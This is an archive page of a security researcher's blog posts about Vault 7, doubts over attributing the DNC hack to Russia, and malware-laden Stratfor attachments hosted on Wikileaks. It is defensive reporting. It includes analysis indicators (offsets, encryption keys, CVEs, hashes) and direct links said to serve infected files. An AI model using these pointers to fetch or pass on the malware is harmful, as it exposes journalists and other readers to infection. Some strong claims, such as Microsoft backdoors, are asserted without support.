Showing posts with label Wikileaks. Show all posts
Showing posts with label Wikileaks. Show all posts

Tuesday, March 7, 2017

Wikileaks releases massive trove of CIA documents

Today Wikileaks released a massive new trove of leaks focused on the CIA's IT-based espionage capabilities. Wikileaks has named the document release Vault 7. The trove has just been released this morning, so details remain sketchy, however the included documents appear to contain detailed information related to dozens of malware tools used by the CIA's Center for Cyber Intelligence.

Earlier this morning I heard an NPR report claiming that Wikileaks was redacting the source code associated with these hacking tools. I'm not sure if that is correct; I've found a few files with executable scripts included, but none of the scripts I've found so far are essentially malicious (although they were almost certainly used in the development and packaging of malware). I have found indications that Wikileaks redacted exploit files that were ready for as-is distribution. For example, the files I reviewed in the dump appear to be part of an internal wiki. I reviewed a file list associated with one of the users registered for the wiki (https://wikileaks.org/ciav7p1/cms/page_14588675.html); clicking through the link for a file named '~02.2.3.tmp` - https://wikileaks.org/ciav7p1/cms/files/~02.2.3.tmp - provided  me with this:

:::  THIS BINARY FILE IS STILL BEING EXAMINED BY WIKILEAKS.  :::
:::  IT MAY BE RELEASED IN THE NEAR FUTURE. WHAT FOLLOWS IS  :::
:::  AN AUTOMATICALLY GENERATED DUMP OF ITS ATTRIBUTES:      :::
File: ~02.2.3.tmp
MIME: application/x-dosexec; charset=binary
Size: 389632

I have taken significant issue with Wikileaks in the past. My complaints have focused entirely on Wikileaks' unwillingness to remove dangerous (and almost certainly state-sponsored) malicious software from document dumps. The example I cited above is the first time I have ever seen any indication that Wikileaks removed malware from a dump. Unfortunately, this particular editorial decision is of substantially less value then the requests I repeatedly made to Wikileaks to inform their users of the presence of infected files within and older document dump that they continue to publish through the wikileaks.org website. The censored malware files in Vault7 were contextually and obviously labelled as malware. The malware I found in earlier Wikileaks dumps included infected document files that were in many cases completely indistinguishable from normal document files and in several cases not detectable for a substantial variety of antivirus platforms.


If you are a journalist or concerned citizen preparing to begin reviewing the Vault 7 document dump, I strongly advise you to take strong security measures prior to beginning your review:

    1. Assume every file in the dump contains a malicious file & govern yourself accordingly. The principle here is similar to the sort of "universal precautions" utilized by medical professionals. This includes files that you may not think of as having the ability to infect your computer with malware, such as text documents, images, spreadsheets and PDFs.

    2. Download & inspect the documents using a computer dedicated to the task. An operating system designed for secure analysis of malware should be used, such as Kali Linux or TAILS. There is compelling evidence that Microsoft provides state-sponsored attackers with backdoors to the Windows OS. After downloading the files, completely disable the internet connectivity for your review computer by disabling (or even disconnecting) any network interfaces.

The inspection of malware is a complex topic that can't be covered in a single post, however the consequences of insecure handling of documents infected with state-sponsored malware are serious - while the advantages of safe handling are substantial. Would you feel comfortable providing a list of your sources to a random government intelligence service? Every reporter I have discussed the issue with feels a strong sense of responsibility for protecting their sources, up to and including a willingness to face incarceration. Securing your IT tools is not as dramatic as saying "No" to a judge threatening you with contempt, but for many sources the threat posed by an intelligence service dwarfs that of a court. Arrest is bad; being "disappeared" is worse.

The average reporter would not defend herself from a finding of contempt of court  - newsrooms invest substantially in legal resources under the calculation that protecting the sources and first amendment rights of journalists serves the both the bottom line & cultural interests of newspapers. Likewise, newsrooms must now consider the expense of an on-staff or consulting systems administrator with a background in security as a cost of doing business. Its not a happy thought, but this is the world we now live in: a world where every communication is spied on, documented, indexed and stored, secretly; and it has been for many years.

So thats the stick. What about the carrot? Malicious software contained within the files is as much a part of the story as the files themselves. Sourcecode comments and filesystem metadata can provide important clues related to the authors of, history behind and justification for distributing data. A thorough investigation of leak files can be the sole opportunity to reveal the true story behind a leak; the alternative, in the absence of communication with the true source of the leak, is to print a summary of a Wikileaks press release supplemented by a Government press release.

Sunday, July 31, 2016

Media, "Experts", too quick to assign responsibility for DNC hacks

I'd like to tell you a story. Its a story that doesn't particularly make me look very good. It was at a point in my career where I still had a lot to learn, and like many young people I thought I was smarter than I was. But its a true story and there is an important point to it, so I'm telling it here even at the risk of looking a bit like a schmuck.

To tell the story, we have to go back in time. The year was 2006. There were still movies in the theaters that didn't have a single comic book character in them. George W. Bush was still best known for destroying the middle east and not for his adorable stick-figure self-portraits. No one that worked outside of telecommunications or that didn't wallpaper their house in aluminum foil believed that the NSA was wiretapping everyone and everything. And I had just received a promotion.

I was working within the primary data center of an internet service provider. The company I was working for had a tiered engineering structure and I had just gone from Tier 1 to Tier 2. I would be making more money and accepting more responsibility in return.

A big part of that responsibility was investigating and resolving abuse complaints received by the ISP. Whether a company hosts servers, websites, emails or provides commercial internet service (this company provided all of the above) occasionally someone will do something on your network they aren't supposed to. Sometimes when someone does something naughty on your network, someone from another network notices. Maybe someone downloaded copyrighted material with P2P software and was caught: the copyright holder would send in a DMCA request. Maybe someone's website has been compromised and the hacker has started scanning the entire internet for a specific exploit; the admin of another network notices and sends an email begging to make the scanning stop. Or maybe someone has defrauded the company by using a stolen credit card and fake company details to sign up for a dedicated server, which in turn is used to send spam - one of the many IP reputation services send over an automated email sending examples of the messages. It had become part of my job to read these messages, investigate them where needed and determine how to handle them.

I was really excited about this promotion. When I was younger I had read books like the Cuckoos Egg; now that was going to be my life. But there was a problem: at this point I knew quite a bit about web servers, but not so much about email servers. I knew even less about the even-at-the-time out-of-date and incredibly-proprietary custom qmail cluster that provided an enormous chunk of this company's email. So I started reading.

I read every RFC that referenced the SMTP protocol. Then I read how no one pays any attention to that shit. I read all about qmail. I learned how to read email headers. I learned how to tell when headers were forged and some of the tricks spammers used. I handled my first few dozen cases well and closed them quickly. 

But there was a problem. The cases I came across lacked drama. It wasn't like the Cuckoo's Egg. Although in a few cases I might have been able to find out exactly who was responsible for hacking a server or setting up an illegal spam service, there was nothing I could do with that information. Even in the rare circumstance where the person was actually in the United States, what was I going to do? Call 9-11? Call the State Attorney's Office? Call the FBI or the Secret Service? Despite what you might read in the funny papers, law enforcement is not equipped to investigate or prosecute the vast majority of "cybercrime" cases. Victims have no one to call, local, state and Federal police don't want to be involved unless there is a political or regulatory angle, and the most simple hacking case is almost always a mess of jurisdictional SNAFU's. You think Bernie Fife knows how to get a warrant for those Ukrainian VPN logs? (He doesn't.) The fact is, when you read about a criminal computer crime investigation, you are essentially viewing a photograph of Big Foot. 

But I desperately wanted to be a White Hat Cyber Cop. I wanted to take down a Cyber Porn ring or a bunch of Russian mobsters (Russian Business Network was my Moby Dick). But that just wasn't my job. My job was help fix whatever had been broken, to make sure that my customers were able to safely resume doing business as normal, and to maybe make some recommendations to make the next hack a little harder to pull off without making everyone's life miserable.

One day I came across evidence that two servers owned by the same customer had been the source of a substantial amount of malicious network traffic. Somehow (this was a big network) this had been missed up to this point. It had been going on for months. These servers had been used to break into other servers on other networks; VPN tunnels would then be established and spam would be sent through the tunnels. Most of the time it looked like normal ssl traffic. 

The more I investigated the situation the more I became convinced this customer was not the victim of these attacks, but was responsible for the attacks. There was no smoking gun, but it in my mind everything in my mind pointed to the customer being the Bad Guy. I spoke to the technician who built the pair of servers for the customer, and the tech remembered the customer had a series of very specific, unusual requests for how the disks were supposed to be partitioned and for how the kernel was to be configured that was similar to how I had seen customers setup a server that could be immediately wiped of any incriminating evidence. I checked out the websites hosted on the servers. The main website - I will never forget this - was an incredibly bare-bones CMS selling decorative rocks. Geodes, crystals, that sort of thing. That might not be so weird for someone with a $2 a month webhosting plan, but this guy had multiple dedicated servers; most of the customers getting servers were insurance companies, universities, doctors offices, military contractors. And this guy. Selling rocks.

I sent the customer several warnings about the hacking; I gave him my best estimation of how he could lock down his server and told him he could hire us to secure it for him. The responses were spotty, and the hacking continued. Eventually, I made the case to management to cancel this customer's service. I was able to get them to agree to my assessment and the customer's account was canceled. 

It was almost immediately after that when I realized that I had completely misread the situation.

Sophisticated spammers know how to plan for having their service canceled. Its part of doing business for them. When they sign up for a 1 year contract they know they are only getting a few months of service out of it. Spammers have always been at the forefront of complex unattended installation, continuous data recovery, imaging and virtualization because they have to turn servers up fast and whenever the banhammer comes down they need to already be activating service at another provider. 

When you cancel a spammer's server, they might send an email in asking why they can't reach their host, and when you tell them they've been spamming they will never contact you again. They're prepared, so there is no point in further discussion.

But the customer with the rock website contacted us, and when we told him he had been spamming he was completely devastated. He sent multiple emails. He called everyone at my company he could. It was clear he had no backups, no plan B. The servers were his livelihood. He begged us to reactivate them, at least long enough to make a backup.

I knew I had made a mistake. I was able to work out a compromise in which we built out a new server to replace his two older servers and helped him transfer his data over safely. The story had a happy ending; the customer got a reduced monthly rate, my company got to reduce the power usage in the data center and keep its profit margin the same, and we stopped the hacking. But the happy ending isn't what's important here.

What's important is that I was wrong. When it counted, I was paying more attention to what I wanted to find than I was to what I could find. I made intuitive leaps based on reasoning that didn't support those leaps. I wanted to be Clifford Stoll. I wanted to impress my boss. I wanted to Get the Bad Guys. Perhaps more important than any of these things, I wanted to have The Answer. More compelling than my fantasizes of being a Cyber Cop was my fear of being incompetent. I thought that being competent meant always having the right solution. 

I could have done my job more effectively by taking more time to review the evidence, and spending less time trying to "connect" a handful of dots that didn't lead anywhere meaningful. Although the story had a happy ending, it could just as easily have had a terrible ending. What if the downtime I caused that customer destroyed his business? 

Over the years I have taken this experience to heart. I've become very reluctant to use intuitive leaps to justify troubleshooting or infosec determinations. Although computing provides us with a rare opportunity to work in a forum in which objective decision making is possible. There are right and wrong answers in computing; but there are also situations in which we don't have enough data to determine the difference between them. Its become easier for me to point out when there isn't enough information to resolve a problem (owning my own business has had no small part in this).

Alright, so that's the story. What on earth does all of this have to do with the DNC hacks?

Over the last week or so I've begun getting my hands on and reviewing the emails and attachments from the Democratic National Committee that have been leaked to the public by a shadowy figure(s) named Guccifer 2.0. This hack became international news beginning last month when the controversial "cyberwarfare" company Crowdstrike announced that the DNC had been hacked, and shortly afterward documents from the DNC began being leaked to a variety of different news outlets, from the Smoking Gun to Wikileaks.

From the very beginning of the DNC hack's injection into the news cycle, the blame for the incident has been squarely laid at the feet of Russian intelligence services. The Russian connection was established by Crowdstrike, who had been asked by the DNC to investigate a hack before the leaks began. Crowdstrike CTO Dmitri Alperovitch published a public report of the findings of their investigation, apparently at the behest of the DNC, in which samples of malware were provided that had links to other attacks that had already been attributed to Russian intelligence, like the compromise of the German Bundestag's network discovered earlier this year.

The attribution to Russian intelligence has gained steam over the last few weeks until we reached the point we are at now - where news outlets are now reporting the Russian intelligence attribution as fact. It is primarily this that I take issue with. Please note that it may very well be the case that Russian intelligence is behind all this. My concern is there is not nearly enough evidence to declare that attribution as fact without additional evidence.

Crowdstrike's report does not provide the required evidence to establish the attribution. Although the report provides a malware sample and a list of IP addresses associated with prior Russian intelligence-attributed hacks that Crowdstrike claims to have recovered through their investigation, these samples are provided without any form of context and in a format that makes it impossible for other researchers to attempt to replicate their findings. There is no explanation of how these samples were acquired. This is a bit like if your doctor told you that you have lung cancer, and as evidence offers you a picture of a cancer cell that's been cut out of a medical journal instead of, say, an X-Ray of your chest. The Crowdstrike report is an explanation of Crowdstrike's findings. It is not proof of Crowdstrike's findings.

There are a number of reasons why Crowdstrike would have opted the report in a way that cannot be objectively verified or peer reviewed. The first and foremost reason is that the DNC almost certainly asked them not to provide any information about their network. Another possibility (that is less defensible but I hear repeatedly) is that Crowdstrike would not want to reveal their "sources and methods".

And, to be fair, Crowdstrike provided their findings to two other companies - Fidelis, Mandiant and ThreatConnect - all of whom have apparently confirmed at least some of Crowdstrike's findings.

So I am willing to overlook the fact that Kurtz has a long standing history of making inflammatory accusations that are both demonstrably false and troublingly indicative of someone with little to no understanding of infosec. I am willing to overlook the fact that Crowdstrike's claim to fame was not for its skill in solving complex hacking investigations but for offering so-called "hack-back" retaliation services - a business opportunity that Crowdstrike was able to capture because their methodology was so ethically and legally questionable that no one else in the infosec community would have anything to do with it.

I am even willing to overlook the fact that Crowdstrike has corporate partnerships with the two out of three of "independent" companies that confirmed their findings.




Let's take for granted that Crowdstrike's report is 100% accurate and Russian intelligence services did, in fact, compromise DNC systems.

Even if we take that for granted, it still doesn't mean that the DNC email leaks can be objectively attributed to Russian intelligence. 

Those who have read the Crowdstrike (or Fedelis) reports may notice that there is a lack of any mention of the DNC's email servers or evidence of large-scale file retrieval. Its quite likely that these details were left out as part of the concerns I listed already - that the DNC hopes to profit from security-through-obscurity and prevent even basic information about their network from going public. Reporters eager to demonstrate the Russian connection have relied primarily on the @pwnallthethings Twitter feed, maintained by Matt Tait (who, apropos of nothing, claims to have been "an information security specialist for GCHQ").

Tait's Twitter feed has been used to bridge the gap between the Crowdstrike report and the DNC documents leaks by Guccifer 2.0. Tait's primary contribution was discovering that a number of the documents released by Guccifer 2.0 had been modified, and that the individual who made these changes was using a version of Windows with the Russian Language pack enabled. When reporters and bloggers say that "metadata" within the Guccifer 2.0 documents proves a Russian intelligence connection, this is what they are talking about.

In addition to this finding, journalists relied on retweets from Tait's Twitter account for confirmation of other findings, such as the Bundestag link, as illustrated here:
As I was reading through Tait's tweets and his subsequent blog guest posts, I saw myself 10 years ago, with the rock reseller. The DNC hacks significantly increased Tait's cache on social media, as can be seen here (the hack became public June 14th).

@pwnallthethings follower growth for July 2016
Just to be clear: I'm not alleging some sort of a conspiracy. I didn't accuse the rock seller of being a spammer because I hated him and wanted to get him. I went after him because it was a better story than the truth. It was more interesting than the truth. And there was evidence that confirmed my story, just as there is evidence pointing toward Russian Intelligence being behind the DNC leaks. Its just not enough evidence for us to claim it as a fact (yet).

Tait rejects the claim that his findings are influenced by bias:
Seems reasonable. But the trouble is that everyone is biased. I'm biased. You're biased. If you are human, and you have a subjective point of view of consciousness, you are biased. The way to handle this is not to deny it, but to account for it. I don't think Tait or the journalists who have used his findings as definitive proof that "Russians did it" have a bone to pick with Russia. Its just a damn good story. Who wouldn't want to be part of a spy novel?

Also, I use Tait here because the media has decided to rely on his findings so consistently, but he is not alone in transforming tenuous circumstantial findings into Objective Truth. Some of my personal favorites are:

   - Vice Magazine brought in linguists (I am very much avoiding the use of a hackneyed but still-amusing pun here) to analyze the transcript of an interview between a Vice reporter and Guccifer 2.0. Even the honey-picked quotes provided by Vice made it clear that nothing could be proved from these transcripts other than that Guccifer 2.0 likely used Google Translate, but the article has been used as further "proof" that Guccifer 2.0 is Russian and not Romanian.

   - The version of MS Office used to modify leaked files appears to be cracked. Cracked versions of Office are "popular among Russians and Romanians". Because no one anywhere else in the world pirates Microsoft software (certainly I don't - stop looking at my torrents).
This is just silly, but its taken as gospel by a media that is both hungry to spark a Cyber War and whose reporters frequently have the technical acumen of my 94 year old grandmother.

So before we wrap this post up lets quickly review the fallacies that are used to confirm the Russian Connection:


THE RUSSIANS HACKED THE DNC, SO THE DNC LEAKS CAME FROM THE RUSSIANS

This is the big one. As I said earlier, I am taking for granted that Crowdstrike's report is God's Own Truth, and that a pair of separate Russian intelligence services hacked the DNC and had access to the DNC's network for up to a year.

Even if we accept that Russian Intelligence hacked the DNC, it does not mean that Russian Intelligence leaked the documents. Let's consider some scenarios.

The number 1 reason why networks and servers are compromised is because those networks / servers are vulnerable to compromise. That's such an obvious statement it comes across as a tautology. But its not, and there are important consequences of this obvious statement. I am regularly called in to help companies that have discovered a breach in their IT infrastructure. Something that often happens is I find evidence of multiple compromises; either the victim is using multiple vulnerable software packages, or multiple parties have taken advantage of the same exploit, or the network was compromised a long time ago by a clever hacker who was able to maintain a presence on the network until some much-less-competent hacker came along and defaced a website or broke something.

One of the most compelling alternate explanations relies on a similar chain of events happening at the DNC. Russian intelligence had compromised the DNC for a long time using the sophisticated techniques described by CrowdStrike. The Russians stayed present in the network for a year in order to accomplish what intelligence services typically want to accomplish - compiling as much information as possible. Then, some knucklehead(s) named Guccifer 2.0 comes along and compromises an email server with the goal of accomplishing some hare-brained political goals known only to him/them. Guccifer 2.0, being a moron, sets off the bells and whistles that cause the DNC to contact CrowdStrike, who in turn discover the Russian intelligence presence.

There's other options. Remember that guy name Edward Snowden? Remember how he worked for a US intelligence agency? Remember how he leaked a bunch of documents to the media? Remember this other person Chelsea Manning? Remember how Chelsea released all of those cables that included detailed intelligence analyses of foreign countries? Remember how those documents had huge political implications in those countries, like maybe sparking the Arab Spring? The point is that leaks within intelligence services happen that aren't necessarily planned by that intelligence service. Those leaks can have devastating impacts on the elections of foreign countries. Here, Guccifer 2.0 is either a Russian intelligence employee or a hacker whose true target was Russian intelligence. Theres a few options within this option - Guccifer 2.0 as working for another nation hoping to influence the US election and increasing US/Russian tensions, Guccifer 2.0 as a Russian intelligence employee who has for whatever reason a *huuuuuuuuuge* (get it?) man-crush on Trump. Some of these options are crazy. But its no more crazy than the explanations of the Putin-Trump Axis of Evil floating through the media.


EVERYONE WHO SPEAKS RUSSIAN WORKS FOR THE GRU/FSB

It sounds silly when its put into words, doesn't it? But this is what the "metadata" and "language analysis" comes down to. Guccifer 2.0 is using Office with Russian language settings. Guccifer 2.0 is chatting the way a Russian would chat. ERGO Guccifer 2.0 is Russian. ERGO Guccifer 2.0 is really Russian Intelligence. I'm not sure how to explain how stupid this is, other than to just point out that, no, not everyone who speaks Russian is a GRU agent. Maybe visit Russia and meet some of them? There are some people who speak Russian who are butchers and bakers and candlestick makers. By golly, there are even people who speak Russian that don't live in Russia at all! I know, your mind is blown, right?


EVERY POLITICAL HACK IS STATE SPONSORED

Not every hacker is state-sponsored. Gee whiz, there are even *groups* of hackers who *cooperate* with each other and even *manipulate the media* and *lie about their identity* who are just teenagers somewhere. There is a rich, long standing history of teenagers playing such pranks. Kids have been hacking for longer and frequently using more sophisticated techniques than governments have. Some of the first government "cyber warfare" programs were just field agents who paid kids to hack for them and paid them in drugs. Really.

One of the most recent, well known examples of this is the lulzsec hacking group. lulzsec had a very pointed political agenda and targeted government agencies, law enforcement groups, media companies and others that opposed that agenda. The lulzsec political agenda did not fall into the binary Team Red / Team Blue archetypes that inform what passes for American political commentary, but it was there and it clearly was important to lulzsec and their supporters. Before the indictments began, there were plenty of rumors that lulzsec was state-sponsored.


If you've made it this far - congratulations. You're almost at the end. Let's wrap up.

Some companies tell us that there is evidence the DNC was hacked by Russian intelligence. That evidence hasn't been published. There is different evidence that Russian intelligence is behind the Guccifer 2.0 account. Most of that evidence turns out to be at best incredibly flimsy and circumstantial and at worst utterly irrelevant.

It may very well be the case that Russian intelligence is responsible for the DNC email leaks, but the fact remains that further investigation is required to confirm the identity of Guccifer 2.0. Attributing the attacks to the Russians before such an investigation can occur does an enormous dis-service. The Cold War actually completely sucked. We should avoid repeating that experience based on the flimsy BS that has largely informed the coverage of the DNC hacks up to this point.

Reporters never open infected Wikileaks attachments

Since I've published my findings on malware in the GI Files Wikileaks file dumps and my subsequent attempts to encourage Wikileaks to label such malicious content, I've repeatedly been told by a variety of "Security Experts®" that no one will open infected attachments from email file dumps.

I plan on writing a post on how assumptions about user behavior are frequently inaccurate, and how assumptions based on the behavior of Wikileaks researchers analyzing email dumps based on the typical behavior of normal email users is particularly prone to failure, but for now I'll just leave this here:

Friday, July 29, 2016

Fox News asked for my take on the DNC email dump

I was interviewed yesterday by Fox News science correspondent James Rogers. I was asked for my input on the distribution by Wikileaks of emails leaked from a Democratic National Committee email server earlier this month. The entire article, which includes quotes from a variety of infosec professionals, is now available here.

If anyone is interested I might post my complete conversation with Rogers, where I talk in more detail about how the unlabeled distribution of email attachments from compromised email servers poses unique dangers to journalists, activists and researchers whose job involves reviewing each of those attachments.

This article represents the most attention paid by US media to the significant dangers posed to Wikileaks users by the insecure review methodology in place prior to distribution of these files. Although major newspapers in Europe and the UK published my findings on malware within the GI Files, no major news outlets in the United States published those findings.

Thursday, July 28, 2016

Google labels wikileaks.org a dangerous website

Five days ago someone on Hacker News pointed out that Google's Safe Browsing system labeled Wikileaks.org a "dangerous site".

At some point the Google warning was rescinded, however Google continues to (accurately) point out that pages within Wikileaks.org will "install malware on visitors' computers".

I've been contacted by many companies over the years who have discovered their web server was compromised after receiving a warning from Google's Safe Browsing system. What I have never seen before is Google labeling a website safe while that website continues to host malware. Has anyone else seen this before? Does anyone at Google confirm this was algorithmically determined behavior and not manual intervention on the part of Google? What possible justification could there be for labeling a website safe that hosts malware?

When I first found malware in content hosted by Wikileaks last year, one of the most frequent negative responses I received was that it is not Wikileaks responsibility to inform their users they host malware and that users should just know to take extreme security measures when reviewing Wikileaks files. Here's another question: if your bank's website hosted malware would you find this same excuse acceptable? If you think we should give Wikileaks a pass but not a bank, what reasoning is this based on? Wikileaks users, volunteers, independent activists and journalists run real risks when reviewing Wikileaks file dumps. Why do we demand more effort be put into making sure some kid doesn't zap a few hundred bucks out of our checking accounts than making sure a reporter isn't imprisoned?

Wikileaks should make some effort to identify malicious software within their filedumps, label infected files, and take more proactive steps to inform users of the risks of handling these files. I would be happy to volunteer to assist with any of these tasks, as I am sure hundreds of other competent infosec professionals. Meanwhile, organizations like Google should stop giving Wikileaks' retrograde operational security a pass. It is exactly because the work that Wikileaks performs is valuable that its worth making the site safe for users.

Tuesday, September 15, 2015

Wikileaks website that hosted torrent with infected files is migrated to a new domain

UPDATED: While wlstorage.net has been taken offline and is not currently being redirected elsewhere, it looks like all of that host's functionality is now being provided by https://file.wikileaks.org - mostly as a way to facilitate torrent downloads. The new host appears to require SSL, which wlstorage.net did not. The SSL issue was particularly troubling as all of the torrents available for download on wlstorage.net were created referencing the non-SSL version of the site (establishing an unencrypted client connection between the P2P client and wlstorage.net, another great way for the powers that be to identify Wikileaks users). The torrent that includes infected files, gifiles-2014.tar.bz2.torrent, remains available for download as well.

As I discussed in my series of posts explaining how the Stratfor email dump hosted by Wikileaks contains malicious software, I first came across a series of infected files when I downloaded and reviewed a torrent file hosted on the Wikileaks subsite "wlstorage.net". A number of factors at the time lead me to believe that "wlstorage.net" was not a mirror of Wikileaks hosted by a third party, but was in fact run by the Wikileaks organization directly: notably, that both wlstorage.net and wikileaks.org resolved to the same set of IP addresses, both sites shared the same SSL certificate, and wlstorage.net was linked to throughout wikileaks.org.

 Today it was brought to my attention that wlstorage.net has been taken offline, and I verified that the DNS entry for wlstorage.net has been kiboshed. wlstorage.net uses the Wikileaks nameservers (ns1.wikileaks.org & ns2.wikileaks.org), so this change would have been performed by a trusted member of the Wikileaks technical team. I am not aware of any announcements from Wikileaks stating the reason for the removal of wlstorage.net from DNS. Whatever the reason for the change, this update has not removed the infected files from distribution.

As of this writing (9/15/2015), all of the infected files remain available for direct, individual download through a series of dozens of curated links directly from the wikileaks.org website. I have also received reports that those attempting to download the infected torrent file using a Bittorrent client are unable to find a complete peer to seed the torrent. If anyone wishes to review these files for research purposes you are welcome to contact me and I can seed temporarily. For obvious reasons I am not interested in seeding the torrent on anything like an ongoing basis, and I encourage researchers and journalists to review the infected files directly on the wikileaks.org as a first step. I have compiled a list of URLs containing infected files and posted it to PasteBin; I also have a post explaining that infected files are not restricted to the torrent file.

Friday, July 31, 2015

Cryptome publishes my Wikileaks findings

Those unfamiliar with my Wikileaks findings should read my (so far) four post series on my discover of malware within files available for download on the Wikileaks website that can, among other things, identify and track those reading infected files: 1st post | 2nd post | 3rd post | 4th post 
Note that my posts are lengthy and contain some technical information. If you aren't really into reading technical things you would probably prefer the summaries of my findings available in The Register or Neue Zürcher Zeitung (for German speakers). 

Because Wikileaks has refused to inform its users that the infected files are, in fact malicious, I went public with my findings. Cryptome has just published a letter with a brief explanation of the issues with the Wikileaks malware

cryptome joshua wieder wikileaks malware



Cryptome is a long time advocate of government transparency, and had already been publishing leaked documents on their website for close to a decade when Wikileaks was first created. Here is Cryptome describes their mission:
Cryptome welcomes documents for publication that are prohibited by governments worldwide, in particular material on freedom of expression, privacy, cryptology, dual-use technologies, national security, intelligence, and secret governance -- open, secret and classified documents -- but not limited to those. Documents are removed from this site only by order served directly by a US court having jurisdiction. No court order has ever been served; any order served will be published here -- or elsewhere if gagged by order. Bluffs will be published if comical but otherwise ignored.
Cryptome has had its ups and downs over the years. Certainly, publication there is not verification of my findings. However, I greatly appreciate the publication and hope that it contributes to my ongoing goals of getting some extra pairs of eyes reviewing these malicious files as well as other file leaks, and to warn journalists and activists of the dangers of improperly handling these malware infected files.

At least two major news papers will be running features that I know of; I'll post those as they are released.

Wednesday, July 15, 2015

Malware discovered in the Stratfor email file dump provided by Wikileaks is not limited to torrents - curated content on the Wikileaks website also infected

Several months ago I identified malicious software contained within a torrent available for download from Wikileaks. The torrent was the most recent and most complete copy of what Wikileaks titled the "Global Intelligence Files" - a large trove of emails and attachments from defense contractor Stratfor. The story as it is widely understood is that former Lulzsec member and hacktivist Jeremy Hammond was involved in the acquisition of these files from Stratfor and provided them to Wikileaks. Among the many files included in the leak I have identified 18 that have malicious software; most of those are embedded within PDF and DOC files. Some of the attacks I discovered are old, others are less old. Only two of the 18 files are blocked from downloading using Google Chrome's malware protection service, for example. In a second post, I decompile one of these two (older) files using PE Explorer and Hex-Rays IDA to demonstrate how the file corrupts the Microsoft Connection Manager while posing as an application called iPassConnect in order to faciliate infection with a Magistr worm variant.

Since that time I have made numerous attempts to contact Wikileaks so that they could inform their users that the torrent contained malicious software. After receiving no response, I began to publicize my findings by posting them on Hacker News/Ycombinator and similar sites like Slashdot and Reddit. My post on Hacker News quickly reached the front page and attracted the attention of the former leader of Lulzsec, Hector Monsegur (aka sabu), who confirmed the validity and importance of my findings in a series of public tweets.

In my original post, I speculated that:
"The data is indeed massive, over 5.5 million emails. Perhaps so massive that ~ two years was not long enough to properly review and sanitize these files prior to their complete publication in 2014 (from the time they were received by WL sometime around 2012)."
The publication of the Global Intelligence Files by Wikileaks began on February 27th, 2012. The entire email server spool was not dumped onto the internet at one time. The publication was curated, with only a small percentage of the emails being published initially. Over time, more emails were published. This progression can be easily viewed on the directory hosting the torrents for the Stratfor leaks:
wikileaks josh wieder stratfor torrent download index
The file name of each torrent contains the date of its publication. Meanwhile, the number to the far right, beginning with 1603, indicates the size of the torrent in bytes. While the relationship between the size of a torrent and the size of the files it contains is not a direct one in all cases, in this case it is a fairly direct relationship because we are dealing with large lists of small files. The last torrent, which I have identified as containing malware, has a size of 121071 bytes. The point here is that you can see that the number of files contained in the archive grows over time.

The torrent file that contains malware is the only file in the directory with a nomenclature that does not include a full date (it was also created using bzip instead of 7zip); the filename is simply gifiles-2014.tar.bz2.torrent. Initially, this meant I was not sure of the exact date that the torrent was released.

I knew that the relatively small number of curated content was available on the Wikileaks.org website. Today I was able to confirm that malicious files and their related attachments are also being hosted on Wikileaks.org, as individual uncompressed files. I have composed a list of these files, their URLs and basic file information on pastebin: (I have embedded the pastebin below as an iframe; if you don't trust iframes in your browser you can click through the prior link instead)

NOTE: Wikileaks has multiple URLs servicing multiple directory structures, all that eventually seem to point to the same place. So for example, https://wikileaks.org/gifiles/docs/35/3547802_plans-coordinates-and-executes-.html and https://search.wikileaks.org/gifiles/emailid/3547802 both point to the same content (and include the same malware attachment available for download).

While I am not alone in my concern over the circulation of an infected torrent of the nature I described in my first post, posting individual infected files directly to *.wikileaks.org domain and several subdomains in a curated manner is likely more dangerous - users are more likely to consider the following a link to content that has in some fashion been secured:

wikileaks josh wieder stratfor emails research

An expectation that a video posted on Fox News will not contain an embedded script is not a wild expectation. Similarly a New York Times article that includes a photo in an article is usually believed to not contain spyware. This is a basic expectation of service on every website, not just news outlets. Primary sources are important. User transparency is also important.

The attached file above, "18714_Research_and_R.xls", appears to be a normal Excel spreadsheet but in fact contains an embedded OLE. It is the exact size in bytes as the same attachment I discovered within the torrent that started this series of posts:

wikileaks josh wieder stratfor emails research

Of course there is no need to take my word for it. The file contains an embedded OLE and PE file - the hallmarks of malware designed to exploit vulnerabilities in the Microsoft Office Suit. Of note are the following:

An API-Hashing signature is stored at 0x3ad1
There are two decryption loops at 0x00003932 and 0x00003934
The embedded OLE signature is stored at 0x7a00
A XOR encrypted MZ/PE signature is stored at 0x5a00 and the encryption key is 0x97
A ROL encrypted OLE signature is stored at 0x7a00 and the encryption key is 0x08

OfficeMalScanner can duplicate these results. When I ran OfficeMalScanner against "18714_Research_and_R.xls" using the brute debug scan mode, the scan produced a malicious index of 62. Several antiviruses will detect this file. Depending on which you use, it might declare the file to use CVE-2009-3129 or CVE-2009-0557 (it probably relies on both exploits at different points). I have created bin files from memory dumps of the embedded OLE and PE (as I have for the roughly dozen similar malware payloads); I am happy to provide those to interested researchers. Here are the relevant signatures:

MD5 2746a014bdd9f7bf252262b82cf63e11
SHA1 cf525700b9e1027c4628fa9689bf68777291c60d
SHA256 4f9550c3f3abbfac4153b4467666e7a46e29ab974627ffd7feed7a711d55ffcd

As I mentioned earlier in this post, Google malware service in Chrome detects only three of the so far 18 infected attachments. The two that are detected are the two oldest malware by the date sent and are both compressed executables (one a .COM and the other two are .EXE) rather than embedded within documents. Here is what downloading one of these off of the Wikileaks website looks like as of now:

wikileaks josh wieder stratfor emails research

Both of the old nasty .EXE's appear to have been sent from mfriedman@stratfor.com, which as far as I can tell, was/is the email address of Meredith Friedman, the VP of Communications for Stratfor:

 Email-ID 3451016
 Date 2003-11-04 15:32:57
 From mfriedman@stratfor.com
 To mooney@stratfor.com, wit@stratfor.com
 Subject: FW: Re[2]: our private photos bkarngkr
 
 Email-ID 3491917
 Date 2004-01-27 01:03:10
 From mfriedman@stratfor.com
 To mooney@stratfor.com
 Subject: FW: HI

Would anyone care to bet me a dollar that in late 2003 her email password was "mfriedman", her birthday, "12345" or some combination thereof?

The source of the .COM file is as follows:

 Email-ID 3547802
 Date 2001-11-10 05:16:54
 From rcleicht@worldnet.att.net
 To undisclosed-recipients:
 Subject: Plans, coordinates, and executes

Finally for today, please do not make the mistake of assuming that all of the exploits are from this time period and thus are of no important to modern computer users. I cannot make this clear enough: these two files are the *oldest* of the malicious files I have discovered.

To return to the first post in our series on the Wikileaks / Strafor email malware click here.

If you are looking for the second post, where we look briefly inside one of the executables click here.

This is the link for my conversation with Hector Monsegur AKA sabu of Lulzsec on the Wikileaks / Strafor email malware. 

Monday, July 13, 2015

